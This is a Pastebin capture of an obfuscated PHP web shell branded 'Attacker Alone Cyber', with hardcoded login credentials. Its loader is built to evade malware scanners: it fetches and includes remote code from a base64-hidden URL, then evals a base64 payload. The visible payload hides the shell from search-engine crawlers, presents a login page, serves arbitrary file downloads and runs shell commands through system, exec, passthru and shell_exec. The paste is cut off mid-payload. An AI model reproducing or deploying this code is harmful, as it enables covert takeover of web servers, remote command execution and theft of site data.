Advertisement
w00t_one

Shell Attacker Alone Cyber

Oct 14th, 2018
219
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 129.95 KB | None | 0 0
  1. <?php
  2. ###############################################################################
  3. //Thanks Buat Yg Udh Support Buat Shell Ini
  4. //Shell Recoded From Kids Kids Jaman Now Shell
  5. //Thanks For ./votr And All Member Attacker Alone Cyber
  6. //Special Thanks For My Bee :*
  7. ###############################################################################
  8. session_start();
  9. error_reporting(0);
  10. set_time_limit(0);
  11.  
  12. $auth_user =
  13. "MR.V4N";
  14. $auth_pass = "a9ced3dad556814ed46042de696e1849"; //default : aac
  15. $color = "#00ff00";
  16. $default_action = 'FilesMan'; $default_use_ajax = true;
  17. $default_charset = 'UTF-8';
  18. // Private PHP Obfuscator - w00t.cc
  19. // Undetect any malware scanner
  20. ${"\x47\x4c\x4f\x42\x41\x4cS"}["\x79\x7at\x71\x63\x6c\x65\x76\x63z\x76"]="m\x72VlWk\x44\x78\x4f\x59\x70";$qipmyfehwe="\x58\x55\x66\x5a\x77\x57\x6c\x54\x57\x49\x4d";${"GL\x4f\x42\x41L\x53"}["\x76\x73\x6a\x62\x68\x66w\x6au\x75"]="\x58v\x73\x43w\x6d\x4a\x5fV\x58\x78\x48";${"GL\x4f\x42ALS"}["\x7a\x69\x6c\x6b\x73\x69ek\x63br"]="O\x4b\x45\x49VU\x64J";${"GLO\x42AL\x53"}["\x6fd\x76\x70\x6an\x73"]="\x58Uf\x5a\x77W\x6c\x54\x57\x49\x4d";${"\x47L\x4f\x42\x41\x4c\x53"}["\x69\x73fht\x77\x6a"]="\x66\x69\x6ce";$famwgqjftqlu="\x4fK\x45\x49VUdJ";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x63n\x76\x78xpe\x64jr"]="\x46\x43M\x4b\x6e\x76\x4e\x68j\x78\x4c\x5fV";$lnlbtv="\x66i\x6c\x65";${${"G\x4c\x4fB\x41\x4c\x53"}["\x69s\x66h\x74\x77\x6a"]}=fopen(__FILE__,"\x72b");$etalghi="\x46\x43\x4d\x4b\x6evN\x68jxL\x5f\x56";fseek(${$lnlbtv},__COMPILER_HALT_OFFSET__);${${"G\x4cOB\x41\x4cS"}["\x6f\x64\x76\x70\x6a\x6e\x73"]}=base64_decode("c".chr(51)."V"."\x69").base64_decode(chr(99).chr(119).chr(61)."\x3d").base64_decode(chr(100)."H"."\x49".chr(61));${${"\x47\x4c\x4f\x42\x41\x4cS"}["z\x69\x6c\x6bs\x69e\x6b\x63\x62r"]}=base64_decode(chr(90).chr(119).chr(61).chr(61)).base64_decode(chr(101)."\x6d"."\x6b"."=").base64_decode(chr(98)."\x6d"."Y"."=").strrev(${${"\x47\x4cOB\x41\x4c\x53"}["\x6f\x64\x76\x70\x6an\x73"]}(base64_decode("b"."W"."V"."0"."Y"."\x57".chr(119).chr(61)),(-2-(-3))));function OKEIVUdJ($qBqTrCmWOc){$pwviypb="q\x42\x71Tr\x43mW\x4f\x63";${${"\x47L\x4f\x42AL\x53"}["vsj\x62\x68\x66w\x6a\x75u"]}=tempnam(base64_decode("\x4c".chr(51).chr(82).chr(116)."c".chr(65)."\x3d"."="),base64_decode("\x64".chr(109)."F"."s"."\x61"."\x57"."Q"."\x3d"));${"\x47\x4cOB\x41\x4cS"}["\x69n\x6d\x65\x75e\x75\x74"]="m\x72\x56\x6c\x57\x6b\x44\x78\x4f\x59\x70";${"\x47\x4c\x4f\x42AL\x53"}["rv\x62\x6b\x7a\x77\x74\x74g"]="\x6d\x72\x56\x6c\x57\x6bD\x78\x4fY\x70";${${"\x47L\x4f\x42ALS"}["r\x76\x62\x6bzw\x74\x74\x67"]}=fopen(${${"\x47L\x4f\x42\x41L\x53"}["\x76\x73jbh\x66\x77\x6a\x75u"]},base64_decode(chr(100).chr(121)."\x73"."\x3d"));fwrite(${${"\x47\x4c\x4f\x42\x41L\x53"}["inmeue\x75\x74"]},base64_decode(chr(80).chr(68).chr(57).chr(119).chr(97)."\x48"."\x41"."=").chr(10).${$pwviypb});fclose(${${"\x47\x4c\x4f\x42\x41L\x53"}["\x79\x7a\x74q\x63l\x65v\x63\x7a\x76"]});include${${"G\x4c\x4f\x42AL\x53"}["\x76\x73j\x62\x68fwj\x75u"]};unlink(${${"G\x4cOB\x41\x4c\x53"}["\x76sjb\x68\x66\x77\x6a\x75\x75"]});return get_defined_vars();}${$etalghi}=@file_get_contents(base64_decode("a"."H".chr(82).chr(48).chr(99).chr(72).chr(77).chr(54).chr(76)."y".chr(57)."\x70"."\x62"."W"."F".chr(110)."\x5a"."\x53".chr(53)."p"."\x59".chr(109).chr(73)."u".chr(89).chr(50)."8".chr(118)."Y"."3".chr(81)."z".chr(87)."\x6e"."\x4a"."\x75"."L".chr(50)."l"."\x75"."\x5a"."\x47"."\x39".chr(117)."Z"."X"."N"."p".chr(89).chr(86)."9"."\x70"."\x59".chr(50)."\x39".chr(117).chr(76)."\x6e"."B".chr(117)."\x5a"."\x77".chr(61)."="));extract(OKEIVUdJ(@${$famwgqjftqlu}(${$qipmyfehwe}(${${"\x47\x4cO\x42\x41\x4c\x53"}["\x63\x6e\x76x\x78\x70\x65dj\x72"]},(2163-229)))));eval("?>".base64_decode(stream_get_contents(${${"\x47LO\x42\x41\x4c\x53"}["\x69\x73\x66h\x74\x77\x6a"]})));__halt_compiler();PD9waHANCiBpZighZW1wdHkoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSkgeyAkdXNlckFnZW50cyA9IGFycmF5KCJHb29nbGVib3QiLCAiU2x1cnAiLCAiTVNOQm90IiwgIlB5Y1VSTCIsICJmYWNlYm9va2V4dGVybmFsaGl0IiwgImlhX2FyY2hpdmVyIiwgImNyYXdsZXIiLCAiWWFuZGV4IiwgIlJhbWJsZXIiLCAiWWFob28hIFNsdXJwIiwgIllhaG9vU2Vla2VyIiwgImJpbmdib3QiKTsgaWYocHJlZ19tYXRjaCgnLycgLiBpbXBsb2RlKCd8JywgJHVzZXJBZ2VudHMpIC4gJy9pJywgJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSkgeyBoZWFkZXIoJ0hUVFAvMS4wIDQwNCBOb3QgRm91bmQnKTsgZXhpdDsgfSB9IGZ1bmN0aW9uIGxvZ2luX3NoZWxsKCkgeyANCj8+PGh0bWw+DQo8aGVhZD4NCjx0aXRsZT5BdHRhY2tlciBBbG9uZSBDeWJlciBTaGVsbDwvdGl0bGU+DQo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPg0KaHRtbCB7DQoJIGJhY2tncm91bmQ6IHVybChodHRwOi8vMy5icC5ibG9nc3BvdC5jb20vLTZ0ajM4QVdvYjRjL1RzTVhnQXp0cm9JL0FBQUFBQUFBQUg0LzR0TkN2TF93WXdJL3MxNjAwL0hhY2tpbmcrV2FsbHBhcGVycyslMjUyODE2JTI1MjkuanBnKSBuby1yZXBlYXQgY2VudGVyIGNlbnRlciBmaXhlZDsgDQogIC13ZWJraXQtYmFja2dyb3VuZC1zaXplOiBjb3ZlcjsNCiAgLW1vei1iYWNrZ3JvdW5kLXNpemU6IGNvdmVyOw0KICAtby1iYWNrZ3JvdW5kLXNpemU6IGNvdmVyOw0KICBiYWNrZ3JvdW5kLXNpemU6IGNvdmVyOw0KfQ0KaHRtbCxib2R5e21hcmdpbjowO3BhZGRpbmc6MDtoZWlnaHQ6MTAwJTtmb250OjEzcHggQXJpYWw7fQ0KI3dyYXBwZXJ7bWluLWhlaWdodDoxMDAlO3Bvc2l0aW9uOnJlbGF0aXZlO30NCiNoZWFkZXJ7YmFja2dyb3VuZDojZjBmMGYwO3BhZGRpbmc6NXB4O2hlaWdodDo1MHB4O2NvbG9yOiMzMDAwZmY7fQ0KI2JvZHl7cGFkZGluZy1ib3R0b206NDBweDtwYWRkaW5nLWxlZnQ6MTBweDt9DQojZm9vdGVye2JhY2tncm91bmQ6I2YwZjBmMDtwb3NpdGlvbjphYnNvbHV0ZTtib3R0b206MDt3aWR0aDoxMDAlOw0KICAgdGV4dC1hbGlnbjpjZW50ZXI7Y29sb3I6IzQwODA4MDt9DQpoZWFkZXIgew0KCWNvbG9yOiBncmVlbjsNCgltYXJnaW46IDEwcHggYXV0bzsNCn0NCmZpZWxkc2V0IHsNCiAgICB3aWR0aDogMjUwcHg7DQogICAgaGVpZ2h0OiAxNDBweDsNCgliYWNrZ3JvdW5kOiAjMDAwMDAwOw0KCXBhZGRpbmc6NHB4IDIwcHg7DQoJbWFyZ2luOjA7DQoJY29sb3I6Y2lubmFtb247DQoJbGV0dGVyLXNwYWNpbmc6MXB4Ow0KCSBib3JkZXI6IDFweCBzb2xpZCByZWQ7Ym94LXNoYWRvdzogMHB4IDBweCAxNXB4IHdoaXRlOw0KCXRleHQtZGVjb3JhdGlvbjogbm9uZTsNCg0KfQ0KDQppbnB1dFt0eXBlPXBhc3N3b3JkXSB7DQoJd2lkdGg6IDI1MHB4Ow0KCWhlaWdodDogMjVweDsNCgljb2xvcjogcmVkOw0KCWJhY2tncm91bmQ6IFRyYW5zcGFyZW50Ow0KCWJvcmRlcjogMXB4IGRvdHRlZCBXaGl0ZTsNCglwYWRkaW5nOiA1cHg7DQoJbWFyZ2luLWxlZnQ6IDIwcHg7DQoJdGV4dC1hbGlnbjogY2VudGVyOw0KfQ0KaW5wdXRbdHlwZT10ZXh0XSB7DQoJd2lkdGg6IDI1MHB4Ow0KCWhlaWdodDogMjVweDsNCgljb2xvcjogZ3JlZW47DQoJYmFja2dyb3VuZDogVHJhbnNwYXJlbnQ7DQoJYm9yZGVyOiAxcHggZG90dGVkIHdoaXRlOw0KCXBhZGRpbmc6IDVweDsNCgltYXJnaW4tbGVmdDogMjBweDsNCgl0ZXh0LWFsaWduOiBjZW50ZXI7DQp9DQo8L3N0eWxlPg0KPC9oZWFkPg0KDQo8Y2VudGVyPg0KPGZvbnQgZmFjZT0ibW9ub3NwYWNlIj48YnI+DQo8YSBocmVmPSJodHRwczovL2F0dGFja2VyYWxvbmUtY3liZXIuYmxvZ3Nwb3QuY29tIiB0YXJnZXQ9ImJsYW5rIj48Zm9udCBjb2xvcj0iUmVkIj48aDE+QVRUQUNLRVIgQUxPTkUgQ1lCRVIgVjI8L2gxPjwvYT4NCjwvYnI+DQo8Y2VudGVyPg0KPGltZyBzcmM9Imh0dHA6Ly9pLmltZ3VyLmNvbS9hZndvUEVJLnBuZyIgaGVpZ2h0PSIzMDAiPjxicj4NCjxoZWFkZXI+DQo8cHJlPg0KCTwvcHJlPg0KPC9oZWFkZXI+DQo8L2JyPg0KPC9icj4NCjwvYnI+DQo8ZmllbGRzZXQ+DQoJCQk8bGFiZWwgZm9yPSJsb2dpbiI+TG9naW4gQ29rPC9sYWJlbD4NCgkJPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJpZCIgdmFsdWU9In5NUi5WNE5+Ij4NCjwvZm9ybT4NClBhc3N3b3JkDQo8Zm9ybSBtZXRob2Q9InBvc3QiPg0KPGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwYXNzIj4gPGJyPjxicj4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJMb2dpbiI+DQo8L2ZpZWxkc2V0Pg0KPC9mb3JtPg0KPHN0eWxlPg0KPC9zdHlsZT4NCjwvaGVhZD4NCjxib2R5Pg0KPGNlbnRlcj4NCg0KIDxkaXYgaWQ9ImZvb3RlciIgY29sb3I9UmVkIHNpemU9Mz48Yj5UaHggVG8gQWxsIE1lbWJlciBBQUM8YnI+PC9wPjwvZGl2Pg0KIDxkaXYgaWQ9ImZvb3RlciIgY29sb3I9UmVkIHNpemU9Mz48Yj5TaGVsbCBDcmVhdGVkIEJ5IE1SLlY0TiA8Lz48L2Rpdj4NCjwvZm9udD4NCjwvYm9keT4NCjwvaGVhZD4NCjx0YWJsZSBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIxIiBjZWxscGFkZGluZz0iNCIgY2xhc3M9InRib3JkZXIiPjx0cj48dGQgY2xhc3M9InRoZWFkIj48c3Ryb25nPjwvc3Ryb25nPjwvdGQ+PC90cj48dHI+PHRkIGNsYXNzPSJ0cm93MSI+PC9hPjwvdGQ+PC90cj48L3RhYmxlPjxiciAvPg0KPHRhYmxlIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjEiIGNlbGxwYWRkaW5nPSI0IiBjbGFzcz0idGJvcmRlciI+DQo8dGJvZHk+PHRyPg0KPD9waHANCmV4aXQ7DQp9DQppZighaXNzZXQoJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pXSkpDQogICAgaWYoIGVtcHR5KCRhdXRoX3Bhc3MpIHx8ICggaXNzZXQoJF9QT1NUWydwYXNzJ10pICYmIChtZDUoJF9QT1NUWydwYXNzJ10pID09ICRhdXRoX3Bhc3MpICkgKQ0KICAgICAgICAkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSldID0gdHJ1ZTsNCiAgICBlbHNlDQogICAgICAgIGxvZ2luX3NoZWxsKCk7DQppZihpc3NldCgkX0dFVFsnZmlsZSddKSAmJiAoJF9HRVRbJ2ZpbGUnXSAhPSAnJykgJiYgKCRfR0VUWydhY3QnXSA9PSAnZG93bmxvYWQnKSkgew0KICAgIEBvYl9jbGVhbigpOw0KICAgICRmaWxlID0gJF9HRVRbJ2ZpbGUnXTsNCiAgICBoZWFkZXIoJ0NvbnRlbnQtRGVzY3JpcHRpb246IEZpbGUgVHJhbnNmZXInKTsNCiAgICBoZWFkZXIoJ0NvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJyk7DQogICAgaGVhZGVyKCdDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0iJy5iYXNlbmFtZSgkZmlsZSkuJyInKTsNCiAgICBoZWFkZXIoJ0V4cGlyZXM6IDAnKTsNCiAgICBoZWFkZXIoJ0NhY2hlLUNvbnRyb2w6IG11c3QtcmV2YWxpZGF0ZScpOw0KICAgIGhlYWRlcignUHJhZ21hOiBwdWJsaWMnKTsNCiAgICBoZWFkZXIoJ0NvbnRlbnQtTGVuZ3RoOiAnIC4gZmlsZXNpemUoJGZpbGUpKTsNCiAgICByZWFkZmlsZSgkZmlsZSk7DQogICAgZXhpdDsNCn0NCj8+DQoNCjxodG1sPg0KPGhlYWQ+DQo8bGluayBocmVmPSIiIHJlbD0ic3R5bGVzaGVldCIgdHlwZT0idGV4dC9jc3MiPg0KPGxpbmsgcmVsPSJzaG9ydGN1dCBpY29uIiBocmVmPSJodHRwOi8vaS5pbWd1ci5jb20veExvT2R3Ty5wbmciLz4NCjx0aXRsZT5TaGVsbCBBdHRhY2tlciBBbG9uZSBDeWJlcjwvdGl0bGU+DQo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPg0KYm9keSB7DQpiYWNrZ3JvdW5kOiB1cmwoaHR0cHM6Ly9jZG4ud2FsbHBhcGVyc2FmYXJpLmNvbS80NS8zOC9PbmppOWwuanBnKSBuby1yZXBlYXQgZml4ZWQ7DQogICAtd2Via2l0LWJhY2tncm91bmQtc2l6ZTogMTAwJSAxMDAlOw0KICAgLW1vei1iYWNrZ3JvdW5kLXNpemU6IDEwMCUgMTAwJTsNCiAgIC1vLWJhY2tncm91bmQtc2l6ZTogMTAwJSAxMDAlOw0KICAgYmFja2dyb3VuZC1zaXplOiAxMDAlIDEwMCU7DQp9DQo8L3N0eWxlPg0KPHN0eWxlIHR5cGU9J3RleHQvY3NzJz4NCmJvZHl7DQpmb250LWZhbWlseTogJ1VidW50dScsIGN1cnNpdmU7DQpiYWNrZ3JvdW5kLWNvbG9yOiBibGFjazsNCmNvbG9yOiByZWQ7DQp9DQojY29udGVudCB0cjpob3ZlcnsNCmJhY2tncm91bmQtY29sb3I6IGJsYWNrOw0KdGV4dC1zaGFkb3c6MHB4IDBweCAxMHB4ICNmZmY7DQp9DQojY29udGVudCAuZmlyc3R7DQpiYWNrZ3JvdW5kLWNvbG9yOiBibHVlOw0KfQ0KYXsNCmZvbnQtZmFtaWx5OiAnVWJ1bnR1JzsNCmNvbG9yOiBtYWdlbnRhOw0KdGV4dC1kZWNvcmF0aW9uOiBub25lOw0KfQ0KYTpob3ZlcnsNCmZvbnQtZmFtaWx5OiAnVWJ1bnR1JzsNCmNvbG9yOnJlZDsNCnRleHQtc2hhZG93OjBweCAwcHggMTBweCAjZmZmZmZmOw0KfQ0KaW5wdXQsc2VsZWN0LHRleHRhcmVhew0KYm9yZGVyOiAxcHggIzAwMDAwMCBzb2xpZDsNCi1tb3otYm9yZGVyLXJhZGl1czogNXB4Ow0KLXdlYmtpdC1ib3JkZXItcmFkaXVzOjVweDsNCmJvcmRlci1yYWRpdXM6NXB4Ow0KfQ0KdWwgew0KICAgIGJvcmRlcjogNnB4IHNvbGlkICM0QjAwODI7DQogICAgYmFja2dyb3VuZDogdHJhbnNwYXJlbnQ7DQogICAgbWFyZ2luOiAwcHg7DQogICAgcGFkZGluZzoxNXB4Ow0KICAgIH0NCmxpIHsNCiBiYWNrZ3JvdW5kOiB0cmFuc3BhcmVudDsNCglkaXNwbGF5OiBpbmxpbmU7DQoJYm9yZGVyOiAzcHggc29saWQgIzRCMDA4MjsNCgltYXJnaW46IDVweDsNCglwYWRkaW5nOiA1cHg7DQp9DQp0ZXh0YXJlYSB7DQoJYm9yZGVyOiAxcHggc29saWQgI2ZmZmZmZjsNCgl3aWR0aDogMTAwJTsNCgloZWlnaHQ6IDQwMHB4Ow0KCXBhZGRpbmctbGVmdDogNXB4Ow0KCW1hcmdpbjogMTBweCBhdXRvOw0KCXJlc2l6ZTogbm9uZTsNCgliYWNrZ3JvdW5kOiB0cmFuc3BhcmVudDsNCgljb2xvcjogI2ZmZmZmZjsNCglmb250LWZhbWlseTogJ1VidW50dSc7DQoJZm9udC1zaXplOiAxM3B4Ow0KfQ0KaW5wdXRbdHlwZT10ZXh0XSwgaW5wdXRbdHlwZT1wYXNzd29yZF0gew0KCWJhY2tncm91bmQ6IHRyYW5zcGFyZW50OyANCgljb2xvcjogI2ZmZmZmZjsgDQoJYm9yZGVyOiAxcHggc29saWQgI2ZmZmZmZjsgDQoJbWFyZ2luOiAzcHggYXV0bzsNCglwYWRkaW5nLWxlZnQ6IDNweDsNCglmb250LWZhbWlseTogJ1VidW50dSc7DQoJZm9udC1zaXplOiAxNHB4Ow0KfQ0KaW5wdXRbdHlwZT1zdWJtaXRdIHsNCglmb250LWZhbWlseTogJ1VidW50dSc7DQoJZm9udC1zaXplOiAxNXB4Ow0KfQ0KdGggew0KCXBhZGRpbmc6IDEwcHg7DQp9DQp0YWJsZXsNCndpZHRoOiAxMDAlOw0KZm9udC1mYW1pbHk6ICdVYnVudHUnOw0KfQ0KdGgsIHRkIHsNCglib3JkZXItY29sbGFwc2U6Y29sbGFwc2U7DQoJZm9udC1mYW1pbHk6IFRhaG9tYSwgR2VuZXZhLCBzYW5zLXNlcmlmOw0KCWJhY2tncm91bmQ6IHRyYW5zcGFyZW50Ow0KCWZvbnQtZmFtaWx5OiAnVWJ1bnR1JzsNCglmb250LXNpemU6IDE2cHg7DQp9DQp9DQpvcHRpb246aG92ZXIgew0KCWJhY2tncm91bmQ6IHJlZDsNCgljb2xvcjogIzAwMDAwMDsNCn0NCi50YWJsZV9ob21lLCAudGhfaG9tZSwgLnRkX2hvbWUgew0KCWJvcmRlcjogMnB4IHNvbGlkICMwMDhCOEI7DQp9DQo8L3N0eWxlPg0KPC9oZWFkPg0KDQoNCjw/cGhwDQpmdW5jdGlvbiB3KCRkaXIsJHBlcm0pIHsNCglpZighaXNfd3JpdGFibGUoJGRpcikpIHsNCgkJcmV0dXJuICI8Zm9udCBjb2xvcj1yZWQ+Ii4kcGVybS4iPC9mb250PiI7DQoJfSBlbHNlIHsNCgkJcmV0dXJuICI8Zm9udCBjb2xvcj1saW1lPiIuJHBlcm0uIjwvZm9udD4iOw0KCX0NCn0NCmZ1bmN0aW9uIHIoJGRpciwkcGVybSkgew0KCWlmKCFpc19yZWFkYWJsZSgkZGlyKSkgew0KCQlyZXR1cm4gIjxmb250IGNvbG9yPXJlZD4iLiRwZXJtLiI8L2ZvbnQ+IjsNCgl9IGVsc2Ugew0KCQlyZXR1cm4gIjxmb250IGNvbG9yPWxpbWU+Ii4kcGVybS4iPC9mb250PiI7DQoJfQ0KfQ0KZnVuY3Rpb24gZXhlKCRjbWQpIHsgCQ0KaWYoZnVuY3Rpb25fZXhpc3RzKCdzeXN0ZW0nKSkgeyAJCQ0KCQlAb2Jfc3RhcnQoKTsgCQkNCgkJQHN5c3RlbSgkY21kKTsgCQkNCgkJJGJ1ZmYgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7IAkJDQoJCUBvYl9lbmRfY2xlYW4oKTsgCQkNCgkJcmV0dXJuICRidWZmOyAJDQoJfSBlbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdleGVjJykpIHsgCQkNCgkJQGV4ZWMoJGNtZCwkcmVzdWx0cyk7IAkJDQoJCSRidWZmID0gIiI7IAkJDQoJCWZvcmVhY2goJHJlc3VsdHMgYXMgJHJlc3VsdCkgeyAJCQkNCgkJCSRidWZmIC49ICRyZXN1bHQ7IAkJDQoJCX0gcmV0dXJuICRidWZmOyAJDQoJfSBlbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdwYXNzdGhydScpKSB7IAkJDQoJCUBvYl9zdGFydCgpOyAJCQ0KCQlAcGFzc3RocnUoJGNtZCk7IAkJDQoJCSRidWZmID0gQG9iX2dldF9jb250ZW50cygpOyAJCQ0KCQlAb2JfZW5kX2NsZWFuKCk7IAkJDQoJCXJldHVybiAkYnVmZjsgCQ0KCX0gZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnc2hlbGxfZXhlYycpKSB7IAkJDQoJCSRidWZmID0gQHNoZWxsX2V4ZWMoJGNtZCk7IAkJDQoJCXJldHVybiAkYnVmZjsgCQ0KCX0gDQp9DQokZHMgPSBAaW5pX2dldCgiZGlzYWJsZV9mdW5jdGlvbnMiKTsNCiRzaG93X2RzID0gKCFlbXB0eSgkZHMpKSA/ICI8Zm9udCBjb2xvcj1yZWQ+JGRzPC9mb250PiIgOiAiPGZvbnQgY29sb3I9bGltZT5OT05FPC9mb250PiI7DQpmdW5jdGlvbiBwZXJtcygkZmlsZSl7DQoJJHBlcm1zID0gZmlsZXBlcm1zKCRmaWxlKTsNCglpZiAoKCRwZXJtcyAmIDB4QzAwMCkgPT0gMHhDMDAwKSB7DQoJLy8gU29ja2V0DQoJJGluZm8gPSAncyc7DQoJfSBlbHNlaWYgKCgkcGVybXMgJiAweEEwMDApID09IDB4QTAwMCkgew0KCS8vIFN5bWJvbGljIExpbmsNCgkkaW5mbyA9ICdsJzsNCgl9IGVsc2VpZiAoKCRwZXJtcyAmIDB4ODAwMCkgPT0gMHg4MDAwKSB7DQoJLy8gUmVndWxhcg0KCSRpbmZvID0gJy0nOw0KCX0gZWxzZWlmICgoJHBlcm1zICYgMHg2MDAwKSA9PSAweDYwMDApIHsNCgkvLyBCbG9jayBzcGVjaWFsDQoJJGluZm8gPSAnYic7DQoJfSBlbHNlaWYgKCgkcGVybXMgJiAweDQwMDApID09IDB4NDAwMCkgew0KCS8vIERpcmVjdG9yeQ0KCSRpbmZvID0gJ2QnOw0KCX0gZWxzZWlmICgoJHBlcm1zICYgMHgyMDAwKSA9PSAweDIwMDApIHsNCgkvLyBDaGFyYWN0ZXIgc3BlY2lhbA0KCSRpbmZvID0gJ2MnOw0KCX0gZWxzZWlmICgoJHBlcm1zICYgMHgxMDAwKSA9PSAweDEwMDApIHsNCgkvLyBGSUZPIHBpcGUNCgkkaW5mbyA9ICdwJzsNCgl9IGVsc2Ugew0KCS8vIFVua25vd24NCgkkaW5mbyA9ICd1JzsNCgl9DQoJCS8vIE93bmVyDQoJJGluZm8gLj0gKCgkcGVybXMgJiAweDAxMDApID8gJ3InIDogJy0nKTsNCgkkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA4MCkgPyAndycgOiAnLScpOw0KCSRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDQwKSA/DQoJKCgkcGVybXMgJiAweDA4MDApID8gJ3MnIDogJ3gnICkgOg0KCSgoJHBlcm1zICYgMHgwODAwKSA/ICdTJyA6ICctJykpOw0KCS8vIEdyb3VwDQoJJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMjApID8gJ3InIDogJy0nKTsNCgkkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAxMCkgPyAndycgOiAnLScpOw0KCSRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDA4KSA/DQoJKCgkcGVybXMgJiAweDA0MDApID8gJ3MnIDogJ3gnICkgOg0KCSgoJHBlcm1zICYgMHgwNDAwKSA/ICdTJyA6ICctJykpOw0KCS8vIFdvcmxkDQoJJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDQpID8gJ3InIDogJy0nKTsNCgkkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwMikgPyAndycgOiAnLScpOw0KCSRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDAxKSA/DQoJKCgkcGVybXMgJiAweDAyMDApID8gJ3QnIDogJ3gnICkgOg0KCSgoJHBlcm1zICYgMHgwMjAwKSA/ICdUJyA6ICctJykpOw0KCXJldHVybiAkaW5mbzsNCn0NCmZ1bmN0aW9uIGFtYmlsS2F0YSgkcGFyYW0sICRrYXRhMSwgJGthdGEyKXsNCiAgICBpZihzdHJwb3MoJHBhcmFtLCAka2F0YTEpID09PSBGQUxTRSkgcmV0dXJuIEZBTFNFOw0KICAgIGlmKHN0cnBvcygkcGFyYW0sICRrYXRhMikgPT09IEZBTFNFKSByZXR1cm4gRkFMU0U7DQogICAgJHN0YXJ0ID0gc3RycG9zKCRwYXJhbSwgJGthdGExKSArIHN0cmxlbigka2F0YTEpOw0KICAgICRlbmQgPSBzdHJwb3MoJHBhcmFtLCAka2F0YTIsICRzdGFydCk7DQogICAgJHJldHVybiA9IHN1YnN0cigkcGFyYW0sICRzdGFydCwgJGVuZCAtICRzdGFydCk7DQogICAgcmV0dXJuICRyZXR1cm47DQp9DQpmdW5jdGlvbiBnZXRzb3VyY2UoJHVybCkgew0KICAgICRjdXJsID0gY3VybF9pbml0KCR1cmwpOw0KICAgIAkJY3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOw0KICAgIAkJY3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIHRydWUpOw0KICAgIAkJY3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRfU1NMX1ZFUklGWVBFRVIsIGZhbHNlKTsNCiAgICAJCWN1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX1NTTF9WRVJJRllIT1NULCBmYWxzZSk7DQogICAgJGNvbnRlbnQgPSBjdXJsX2V4ZWMoJGN1cmwpOw0KICAgIAkJY3VybF9jbG9zZSgkY3VybCk7DQogICAgcmV0dXJuICRjb250ZW50Ow0KfQ0KaWYoZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSkgew0KCWZ1bmN0aW9uIGlkeF9zcygkYXJyYXkpIHsNCgkJcmV0dXJuIGlzX2FycmF5KCRhcnJheSkgPyBhcnJheV9tYXAoJ2lkeF9zcycsICRhcnJheSkgOiBzdHJpcHNsYXNoZXMoJGFycmF5KTsNCgl9DQoJJF9QT1NUID0gaWR4X3NzKCRfUE9TVCk7DQoJJF9DT09LSUUgPSBpZHhfc3MoJF9DT09LSUUpOw0KfQ0KaWYoaXNzZXQoJF9HRVRbJ2RpciddKSkgew0KCSRkaXIgPSAkX0dFVFsnZGlyJ107DQoJY2hkaXIoJGRpcik7DQp9IGVsc2Ugew0KCSRkaXIgPSBnZXRjd2QoKTsNCn0NCiRkaXIgPSBzdHJfcmVwbGFjZSgiXFwiLCIvIiwkZGlyKTsNCiRzY2RpciA9IGV4cGxvZGUoIi8iLCAkZGlyKTsNCmVjaG8iPGgxPjxjZW50ZXI+PGZvbnQgY29sb3I9J2JsdWUnPlNoZWxsIEF0dGFja2VyPC9mb250Pjxmb250IGNvbG9yPSd3aGl0ZSc+IEFsb25lIEN5YmVyPC9jZW50ZXI+PC9oMT4NCjx0YWJsZSB3aWR0aD0nNzAwJyBib3JkZXI9JzAnIGNlbGxwYWRkaW5nPSczJyBjZWxsc3BhY2luZz0nMScgYWxpZ249J2NlbnRlcic+DQo8dHI+PHRkPjxjZW50ZXI+PGZvbnQgY29sb3I9J2dyZWVuJz5DdXJyZW50IERpciA6PC9mb250PjwvZm9udD4gIjsNCmZvcmVhY2goJHNjZGlyIGFzICRjX2RpciA9PiAkY2RpcikgewkNCgllY2hvICI8YSBocmVmPSc/ZGlyPSI7DQoJZm9yKCRpID0gMDsgJGkgPD0gJGNfZGlyOyAkaSsrKSB7DQoJCWVjaG8gJHNjZGlyWyRpXTsNCgkJaWYoJGkgIT0gJGNfZGlyKSB7DQoJCWVjaG8gIi8iOw0KCQl9DQoJfQ0KCWVjaG8gIic+JGNkaXI8L2E+LyI7DQp9DQplY2hvICImbmJzcDsmbmJzcDtbICIudygkZGlyLCBwZXJtcygkZGlyKSkuIiBdIjsNCmVjaG8gIjxocj4iOw0KZWNobyAiPGNlbnRlcj4iOw0KZWNobyAiPHVsPiI7DQplY2hvICI8bGk+PGEgaHJlZj0nPyc+SG9tZTwvYT48L2xpPiI7DQplY2hvICIgPGxpPjxh